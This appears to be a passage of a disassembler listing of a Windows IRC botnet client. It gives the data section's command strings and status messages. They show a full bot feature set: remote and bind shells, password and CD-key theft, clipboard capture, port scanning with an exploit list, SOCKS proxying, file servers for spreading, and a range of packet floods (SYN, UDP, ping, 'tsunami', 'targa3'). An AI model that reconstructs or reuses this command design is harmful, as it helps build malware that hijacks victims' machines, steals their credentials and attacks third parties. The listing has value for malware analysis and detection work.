dd 2E7325h
unk_42B9E8 db 2Dh ; - ; DATA XREF: sub_401ACD+29C9o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aFailedToSta_22 db '- Failed to start list thread, error: <%d>.',0
align 4
dword_42BA24 dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h
; DATA XREF: sub_401ACD+295Ao
dd 65726874h, 2E736461h, 0
dword_42BA44 dd 627573h ; DATA XREF: sub_401ACD+2934o
dword_42BA48 dd 234032Dh, 6E69616Dh, 202D0302h, 61696C41h, 696C2073h
; DATA XREF: sub_401ACD+28E2o
dd 2E7473h
unk_42BA60 db 2Dh ; - ; DATA XREF: sub_401ACD+28C7o
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aFailedToSta_23 db '- Failed to start listing thread, error: <%d>.',0
dword_42BA98 dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
; DATA XREF: sub_401ACD+2858o
dd 2E676Fh
dword_42BAB0 dd 234032Dh, 6E69616Dh, 202D0302h, 7774654Eh, 206B726Fh
; DATA XREF: sub_401ACD+27B3o
dd 6F666E49h, 2Eh
dword_42BACC dd 234032Dh, 6E69616Dh, 202D0302h, 74737953h, 49206D65h
; DATA XREF: sub_401ACD+2784o
dd 2E6F666Eh, 0
dword_42BAE8 dd 234032Dh, 6E69616Dh, 202D0302h, 6F6D6552h, 676E6976h
; DATA XREF: sub_401ACD+272Fo
dd 746F4220h, 2Eh
unk_42BB04 db 2Dh ; - ; DATA XREF: sub_401ACD+2713o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToSta_24 db ' Failed to start listing thread, error: <%d>.',0
align 10h
dword_42BB40 dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h
; DATA XREF: sub_401ACD+269Eo
dd 696C2073h, 2E7473h
aFull db 'full',0 ; DATA XREF: sub_401ACD+267Eo
align 4
unk_42BB64 db 2Dh ; - ; DATA XREF: sub_401ACD+261Co
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aAlreadyRunni_3 db ' Already running.',0
align 4
dword_42BB84 dd 234032Dh, 656B6463h, 3027379h ; DATA XREF: sub_401ACD+25F9o
aSearchComplete db '- Search completed.',0
dword_42BBA4 dd 234032Dh, 6E69616Dh, 202D0302h, 69747055h, 203A656Dh
; DATA XREF: sub_401ACD+25ADo
dd 2E7325h
unk_42BBBC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403FEAo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteShellRea db '- Remote shell ready.',0
align 4
unk_42BBDC db 2Dh ; - ; DATA XREF: sub_401ACD+2513o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0
align 4
unk_42BC04 db 2Dh ; - ; DATA XREF: sub_401ACD+24F4o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteShellAlr db '- Remote shell already running.',0
align 10h
dword_42BC30 dd 234032Dh, 6E69616Dh, 202D0302h, 20746547h, 70696C43h
; DATA XREF: sub_401ACD+24DEo
dd 72616F62h, 2E64h
dword_42BC4C dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h
; DATA XREF: sub_401ACD+24B0o
dd 2Dh
unk_42BC64 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F6Do
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToFlushA db 'Failed to flush ARP cache.',0
align 10h
unk_42BC90 db 2Dh ; - ; DATA XREF: sub_401ACD+2499o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aArpCacheFlushe db 'ARP cache flushed.',0
align 4
unk_42BCB4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F42o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToLoadDn db 'Failed to load dnsapi.dll.',0
align 10h
unk_42BCE0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F3Bo
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToFlushD db 'Failed to flush DNS cache.',0
align 4
unk_42BD0C db 2Dh ; - ; DATA XREF: sub_401ACD+2467o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aDnsCacheFlushe db 'DNS cache flushed.',0
align 10h
unk_42BD30 db 2Dh ; - ; DATA XREF: sub_401ACD+2414o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToSta_25 db '- Failed to start server thread, error: <%d>.',0
align 4
unk_42BD6C db 2Dh ; - ; DATA XREF: sub_401ACD+23A5o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42BDA8 db 2Dh ; - ; DATA XREF: sub_401ACD+22BFo
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_26 db ' Failed to start server thread, error: <%d>.',0
align 4
unk_42BDE4 db 2Dh ; - ; DATA XREF: sub_401ACD+2254o
; sub_40BACD+449o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42BE20 db 2Dh ; - ; DATA XREF: sub_401ACD+214Do
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_27 db ' Failed to start server thread, error: <%d>.',0
align 4
unk_42BE5C db 2Dh ; - ; DATA XREF: sub_401ACD+20DEo
; sub_40BACD+DAo
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aServerStarte_1 db ' Server started on Port: %d, File: %s.',0
align 10h
unk_42BE90 db 2Dh ; - ; DATA XREF: sub_401ACD+2029o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aAlreadyRunni_4 db ' Already running.',0
align 10h
unk_42BEB0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403AE0o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aFailedToSta_28 db '- Failed to start scan, port is invalid.',0
align 4
unk_42BEE8 db 2Dh ; - ; DATA XREF: sub_401ACD+1FC3o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aFailedToSta_29 db '- Failed to start scan thread, error: <%d>.',0
align 4
unk_42BF24 db 2Dh ; - ; DATA XREF: sub_401ACD+1F52o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aSPortScanSta_0 db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
db ' minutes using %d threads.',0
align 10h
aSequential db 'Sequential',0 ; DATA XREF: sub_401ACD+1F27o
; sub_401ACD+5BEEo
align 4
aRandom db 'Random',0 ; DATA XREF: sub_401ACD+1F20o
; sub_401ACD+5BE7o
align 4
unk_42BFA4 db 2Dh ; - ; DATA XREF: sub_401ACD+1D6Do
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aAlreadyDScan_0 db '- Already %d scanning threads. Too many specified.',0
unk_42BFE4 db 2Dh ; - ; DATA XREF: sub_401ACD+1D0Fo
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aFailedToSta_30 db 'Failed to start search thread, error: <%d>.',0
unk_42C020 db 2Dh ; - ; DATA XREF: sub_401ACD+1C95o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aSearchingForPa db 'Searching for password.',0
aFp db 'fp',0 ; DATA XREF: sub_401ACD+1C4Co
align 4
aFindpass db 'findpass',0 ; DATA XREF: sub_401ACD+1C3Bo
align 4
aNoticeSPhoning db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C28o
align 4
aPhonehome db 'phonehome',0 ; DATA XREF: sub_401ACD+1C11o
align 4
aSa db 'sa',0 ; DATA XREF: sub_401ACD+1BFCo
align 4
aAsc db 'asc',0 ; DATA XREF: sub_401ACD+1BE7o
; sub_401ACD+4FA1o
dword_42C090 dd 234032Dh, 6E69616Dh, 202D0302h, 73617243h, 676E6968h
; DATA XREF: sub_401ACD+1B97o
dd 746F6220h, 2Eh
aCrash db 'crash',0 ; DATA XREF: sub_401ACD+1B81o
; sub_401ACD+1BD1o
align 4
aTftp db 'tftp',0 ; DATA XREF: sub_401ACD+1B6Co
align 4
aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401ACD+1B57o
align 4
aHttp db 'http',0 ; DATA XREF: sub_401ACD+1B42o
align 10h
aHttpserver db 'httpserver',0 ; DATA XREF: sub_401ACD+1B2Do
align 4
aRlogin db 'rlogin',0 ; DATA XREF: sub_401ACD+1B18o
align 4
aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401ACD+1B03o
align 4
aCip db 'cip',0 ; DATA XREF: sub_401ACD+1AEEo
aCurrentip db 'currentip',0 ; DATA XREF: sub_401ACD+1AD9o
align 4
aFdns db 'fdns',0 ; DATA XREF: sub_401ACD+1AC4o
align 4
aFlushdns db 'flushdns',0 ; DATA XREF: sub_401ACD+1AAFo
align 4
aFarp db 'farp',0 ; DATA XREF: sub_401ACD+1A9Ao
align 10h
aFlusharp db 'flusharp',0 ; DATA XREF: sub_401ACD+1A85o
align 4
aGc db 'gc',0 ; DATA XREF: sub_401ACD+1A70o
align 10h
aGetclip db 'getclip',0 ; DATA XREF: sub_401ACD+1A5Bo
unk_42C138 db 2Dh ; - ; DATA XREF: sub_401ACD+1A1Do
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofingDisabl db ' Spoofing disabled.',0
aOff db 'off',0 ; DATA XREF: sub_401ACD+1A02o
; sub_401ACD+3CAFo ...
aSpoof db 'spoof',0 ; DATA XREF: sub_401ACD+19EBo
align 4
unk_42C16C db 2Dh ; - ; DATA XREF: sub_401ACD+19CDo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aLoginListCompl db 'Login list complete.',0
align 10h
aD_S db '%d. %s',0 ; DATA XREF: sub_401ACD+1995o
align 4
aEmpty db '<Empty>',0 ; DATA XREF: sub_401ACD:loc_403453o
dword_42C1A0 dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh
; DATA XREF: sub_401ACD+195Bo
dword_42C1B4 dd 6F6877h ; DATA XREF: sub_401ACD+193Eo
dword_42C1B8 dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+1933o
dword_42C1C4 dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ; DATA XREF: sub_401ACD+192Eo
aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401ACD+1915o
aOcmd db 'ocmd',0 ; DATA XREF: sub_401ACD+1900o
align 4
aOpencmd db 'opencmd',0 ; DATA XREF: sub_401ACD+18EBo
aDll db 'dll',0 ; DATA XREF: sub_401ACD+18D6o
aTestdlls db 'testdlls',0 ; DATA XREF: sub_401ACD+18C1o
align 4
aDrv db 'drv',0 ; DATA XREF: sub_401ACD+18ACo
aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401ACD+1897o
align 4
aUp db 'up',0 ; DATA XREF: sub_401ACD+1882o
align 10h
aUptime db 'uptime',0 ; DATA XREF: sub_401ACD+186Do
align 4
aKey db 'key',0 ; DATA XREF: sub_401ACD+1858o
aGetcdkeys db 'getcdkeys',0 ; DATA XREF: sub_401ACD+1843o
align 4
aPs db 'ps',0 ; DATA XREF: sub_401ACD+182Eo
align 4
aProcs db 'procs',0 ; DATA XREF: sub_401ACD+1819o
align 4
aLsp100 db 'lsp100',0 ; DATA XREF: sub_401ACD+17EFo
; sub_401ACD+1804o
align 4
aSi db 'si',0 ; DATA XREF: sub_401ACD+17DAo
align 10h
aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401ACD+17C5o
aNi db 'ni',0 ; DATA XREF: sub_401ACD+17B0o
align 4
aNetinfo db 'netinfo',0 ; DATA XREF: sub_401ACD+179Bo
aClg db 'clg',0 ; DATA XREF: sub_401ACD+1786o
aClearlog db 'clearlog',0 ; DATA XREF: sub_401ACD+1771o
align 4
aLg db 'lg',0 ; DATA XREF: sub_401ACD+175Co
align 4
aLog db 'log',0 ; DATA XREF: sub_401ACD+1747o
aAl db 'al',0 ; DATA XREF: sub_401ACD+1732o
align 10h
aAliases db 'aliases',0 ; DATA XREF: sub_401ACD+171Do
aT: ; DATA XREF: sub_401ACD+1708o
; ___:00437F84o
unicode 0, <t>,0
aThreads db 'threads',0 ; DATA XREF: sub_401ACD+16F3o
unk_42C284 db 2Dh ; - ; DATA XREF: sub_401ACD+16BFo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToReboot db 'Failed to reboot system.',0
align 4
unk_42C2AC db 2Dh ; - ; DATA XREF: sub_401ACD+16B8o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aRebootingSyste db 'Rebooting system.',0
align 4
aReboot db 'reboot',0 ; DATA XREF: sub_401ACD+16A1o
align 4
aI: ; DATA XREF: sub_401ACD+168Co
unicode 0, <i>,0
aId db 'id',0 ; DATA XREF: sub_401ACD+1677o
align 4
aS_0: ; DATA XREF: sub_401ACD+1662o
unicode 0, <s>,0
aStatus db 'status',0 ; DATA XREF: sub_401ACD+164Do
align 4
aQ: ; DATA XREF: sub_401ACD+1638o
; ___:off_437BF0o
unicode 0, <q>,0
aQuit_0 db 'quit',0 ; DATA XREF: sub_401ACD+1623o
align 4
aDc db 'dc',0 ; DATA XREF: sub_401ACD+160Eo
align 4
aDisconnect db 'disconnect',0 ; DATA XREF: sub_401ACD+15F9o
align 4
aR: ; DATA XREF: sub_401ACD+15E4o
; sub_401ACD+3DA8o ...
unicode 0, <r>,0
aReconnect db 'reconnect',0 ; DATA XREF: sub_401ACD+15CFo
align 4
aExplist db 'explist',0 ; DATA XREF: sub_401ACD+15BAo
aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401ACD+15A5o
aCbstats db 'cbstats',0 ; DATA XREF: sub_401ACD+1590o
aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401ACD+157Bo
align 4
aTrstats db 'trstats',0 ; DATA XREF: sub_401ACD+1566o
aTransferstats db 'transferstats',0 ; DATA XREF: sub_401ACD+1551o
align 4
aStats db 'stats',0 ; DATA XREF: sub_401ACD+153Co
align 4
aScanstats db 'scanstats',0 ; DATA XREF: sub_401ACD+1527o
align 10h
dword_42C370 dd 234032Dh, 6E616373h, 2D0302h ; DATA XREF: sub_401ACD+151Co
aScan_0 db 'Scan',0 ; DATA XREF: sub_401ACD+1517o
align 4
aScanstop db 'scanstop',0 ; DATA XREF: sub_401ACD+14FEo
align 10h
dword_42C390 dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_401ACD+14F3o
aSecure_0 db 'Secure',0 ; DATA XREF: sub_401ACD+14EEo
align 4
aSecurestop db 'securestop',0 ; DATA XREF: sub_401ACD+14D5o
align 4
dword_42C3B4 dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_401ACD+14CAo
aClone db 'Clone',0 ; DATA XREF: sub_401ACD+14C5o
align 4
aClonestop db 'clonestop',0 ; DATA XREF: sub_401ACD+14ACo
align 4
aPsstop db 'psstop',0 ; DATA XREF: sub_401ACD+1497o
align 10h
aProcsstop db 'procsstop',0 ; DATA XREF: sub_401ACD+1482o
align 4
aFfstop db 'ffstop',0 ; DATA XREF: sub_401ACD+146Do
align 4
aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401ACD+1458o
align 4
dword_42C404 dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_401ACD+144Do
aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401ACD+142Fo
align 10h
aPingstop db 'pingstop',0 ; DATA XREF: sub_401ACD+1406o
align 4
aUdpstop db 'udpstop',0 ; DATA XREF: sub_401ACD+13DDo
aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401ACD+13B4o
align 10h
aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401ACD+138Bo
unk_42C44C db 2Dh ; - ; DATA XREF: sub_401ACD+1371o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aAllPacketingAc db 'All packeting activity has been halted.',0
dword_42C480 dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401ACD+1336o
; sub_401ACD+13D2o
dword_42C490 dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; DATA XREF: sub_401ACD+1331o
; sub_401ACD+13CDo
dword_42C4A0 dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401ACD+1318o
; sub_401ACD+13A9o
dword_42C4B0 dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1313o
; sub_401ACD+13A4o
dword_42C4C0 dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401ACD+12B8o
; sub_401ACD+1424o
dword_42C4CC dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+12B3o
; sub_401ACD+141Fo
dword_42C4D8 dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+129Ao
; sub_401ACD+13FBo
dword_42C4E4 dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1295o
; sub_401ACD+13F6o
aPacketstop db 'packetstop',0 ; DATA XREF: sub_401ACD+1235o
align 4
dword_42C4FC dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401ACD+122Ao
; sub_401ACD+12F7o
dword_42C508 dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1225o
; sub_401ACD+12F2o
aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401ACD+120Co
align 10h
dword_42C520 dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401ACD+1201o
; sub_401ACD+12D9o
dword_42C530 dd 67726154h, 66203361h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11FCo
; sub_401ACD+12D4o
aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401ACD+11E3o
align 4
dword_42C54C dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401ACD+11D8o
; sub_401ACD+1357o
dword_42C55C dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11D3o
; sub_401ACD+1352o
aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401ACD+11BAo
align 4
dword_42C578 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+11AFo
; sub_401ACD+1279o
dword_42C584 dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+11AAo
; sub_401ACD+1274o
aSynstop db 'synstop',0 ; DATA XREF: sub_401ACD+1191o
dword_42C598 dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401ACD+1186o
; sub_401ACD+125Bo
dword_42C5A4 dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1181o
; sub_401ACD+1256o
dword_42C5B0 dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1168o
dword_42C5BC dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_401ACD+115Do
dword_42C5CC dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_401ACD+1158o
aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401ACD+113Fo
align 4
dword_42C5EC dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1134o
dword_42C5F8 dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_401ACD+112Fo
aLogstop db 'logstop',0 ; DATA XREF: sub_401ACD+1116o
dword_42C60C dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_401ACD+110Bo
aHttpstop db 'httpstop',0 ; DATA XREF: sub_401ACD+10EDo
align 4
dword_42C628 dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_401ACD+10E2o
aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401ACD+10C4o
align 4
dword_42C644 dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_401ACD+10BCo
aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401ACD+109Eo
align 10h
aS4 db 's4',0 ; DATA XREF: sub_401ACD+1089o
align 4
aSocks4 db 'socks4',0 ; DATA XREF: sub_401ACD+1074o
align 4
dword_42C66C dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0
; DATA XREF: sub_401ACD+1052o
aServer_0 db 'Server',0 ; DATA XREF: sub_401ACD+104Do
; sub_401ACD+10B7o ...
align 4
aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401ACD+1034o
align 4
aBd db 'bd',0 ; DATA XREF: sub_401ACD+101Fo
align 4
aBindshell db 'bindshell',0 ; DATA XREF: sub_401ACD+100Ao
align 4
aUnsec db 'unsec',0 ; DATA XREF: sub_401ACD+FF5o
align 10h
aUnsecure db 'unsecure',0 ; DATA XREF: sub_401ACD+FE0o
align 4
aSec db 'sec',0 ; DATA XREF: sub_401ACD+FCBo
; sub_401ACD+2D69o
aSecure db 'secure',0 ; DATA XREF: sub_401ACD+FB6o
; sub_401ACD+2D58o
align 4
aSt db 'st',0 ; DATA XREF: sub_401ACD+FA1o
align 4
aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401ACD+F8Co
align 4
aDed db 'ded',0 ; DATA XREF: sub_401ACD+F77o
aDedication db 'dedication',0 ; DATA XREF: sub_401ACD+F62o
align 4
aVer db 'ver',0 ; DATA XREF: sub_401ACD+F4Do
aVersion db 'version',0 ; DATA XREF: sub_401ACD+F38o
aLo db 'lo',0 ; DATA XREF: sub_401ACD+F23o
align 4
aLogout db 'logout',0 ; DATA XREF: sub_401ACD+F0Eo
align 10h
aD: ; DATA XREF: sub_401ACD+EF9o
; ___:00437C1Co ...
unicode 0, <d>,0
aDie db 'die',0 ; DATA XREF: sub_401ACD+EE4o
aRn db 'rn',0 ; DATA XREF: sub_401ACD+ECFo
align 4
aRndnick db 'rndnick',0 ; DATA XREF: sub_401ACD+EB7o
a63 db '63',0 ; DATA XREF: sub_401ACD+D84o
align 4
asc_42C718: ; DATA XREF: sub_401ACD+D5Co
unicode 0, <)>,0
aChr db '$chr(',0 ; DATA XREF: sub_401ACD+D1Fo
align 4
aServer_1 db '$server',0 ; DATA XREF: sub_401ACD+D14o
aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_401ACD+D03o
align 4
aChan db '$chan',0 ; DATA XREF: sub_401ACD+CE7o
align 10h
aUser_0 db '$user',0 ; DATA XREF: sub_401ACD+CD6o
align 4
aMe db '$me',0 ; DATA XREF: sub_401ACD+CC4o
aD_0 db '$%d',0 ; DATA XREF: sub_401ACD+C56o
aD_1 db '$%d-',0 ; DATA XREF: sub_401ACD+B92o
align 4
aK: ; DATA XREF: sub_401ACD+AA6o
; sub_401ACD+3DD2o ...
unicode 0, <k>,0
unk_42C75C db 2Dh ; - ; DATA XREF: sub_401ACD+A80o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0
align 10h
unk_42C790 db 2Dh ; - ; DATA XREF: sub_401ACD+A6Fo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatAlreadyAct db '- Chat already active with user: %s.',0
align 10h
unk_42C7C0 db 2Dh ; - ; DATA XREF: sub_401ACD+A5Eo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSta_31 db '- Failed to start chat thread, error: <%d>.',0
align 4
unk_42C7F8 db 2Dh ; - ; DATA XREF: sub_401ACD+9EFo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatFromUserS_ db '- Chat from user: %s.',0
align 4
aChat db 'CHAT',0 ; DATA XREF: sub_401ACD+958o
align 10h
unk_42C820 db 2Dh ; - ; DATA XREF: sub_401ACD+938o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
align 4
unk_42C864 db 2Dh ; - ; DATA XREF: sub_401ACD+920o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSta_32 db '- Failed to start transfer thread, error: <%d>.',0
align 10h
dword_42C8A0 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
; DATA XREF: sub_401ACD+90Fo
dd 0A0Dh
dword_42C8B8 dd 4E495001h, 47h ; DATA XREF: sub_401ACD+8DBo
dword_42C8C0 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
; DATA XREF: sub_401ACD+8D0o
dd 0D017325h, 0Ah
dword_42C8DC dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_401ACD+89Fo
dword_42C8E8 dd 23h ; DATA XREF: sub_401ACD+816o
; sub_40CA7F+1Bo
unk_42C8EC db 2Dh ; - ; DATA XREF: sub_401ACD+785o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
align 4
aS_1 db '%s',0 ; DATA XREF: sub_401ACD+706o
; sub_401ACD+995o ...
align 10h
aSend_0 db 'SEND',0 ; DATA XREF: sub_401ACD+6DFo
align 4
dword_42C928 dd 43434401h, 0 ; DATA XREF: sub_401ACD+6C1o
dword_42C930 dd 323333h ; DATA XREF: sub_401ACD+64Bo
; sub_401ACD+ADCo ...
aNotice db 'NOTICE',0 ; DATA XREF: sub_401ACD+629o
; sub_409A72+Fo
align 4
aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401ACD+61Do
; sub_409A72+16o
unk_42C944 db 2Dh ; - ; DATA XREF: sub_401ACD+5CCo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedOut db 'User: %s logged out.',0
align 4
unk_42C968 db 2Dh ; - ; DATA XREF: sub_401ACD+5A5o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aJoinedChanne_0 db 'Joined channel: %s.',0
a353 db '353',0 ; DATA XREF: sub_401ACD+574o
aQuit db 'QUIT',0 ; DATA XREF: sub_401ACD+537o
align 4
aPart db 'PART',0 ; DATA XREF: sub_401ACD+526o
; sub_401ACD+5E9o
align 4
aSS db ':%s%s',0 ; DATA XREF: sub_401ACD+4FEo
align 4
aNick db 'NICK',0 ; DATA XREF: sub_401ACD+3D0o
align 4
aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o
; sub_401ACD+60Do
unk_42C9BC db 2Dh ; - ; DATA XREF: sub_401ACD+355o
; sub_401ACD+2EBCo ...
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedO_0 db 'User %s logged out.',0
aKick db 'KICK',0 ; DATA XREF: sub_401ACD+2E4o
align 4
aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+28Do
; sub_401ACD+7C8Eo ...
align 10h
a433 db '433',0 ; DATA XREF: sub_401ACD+262o
; sub_4177CF:loc_417837o
a@: ; DATA XREF: sub_401ACD+23Ao
unicode 0, <@>,0
a302 db '302',0 ; DATA XREF: sub_401ACD+22Ao
a005 db '005',0 ; DATA XREF: sub_401ACD+215o
a001 db '001',0 ; DATA XREF: sub_401ACD+200o
aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o
; sub_401ACD+3B7o ...
align 4
aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C3o
align 10h
aPing db 'PING',0 ; DATA XREF: sub_401ACD+1A9o
; sub_4177CF+50o
align 4
asc_42CA28: ; DATA XREF: sub_401ACD+19Ao
; sub_401ACD+7DADo
unicode 0, <!>,0
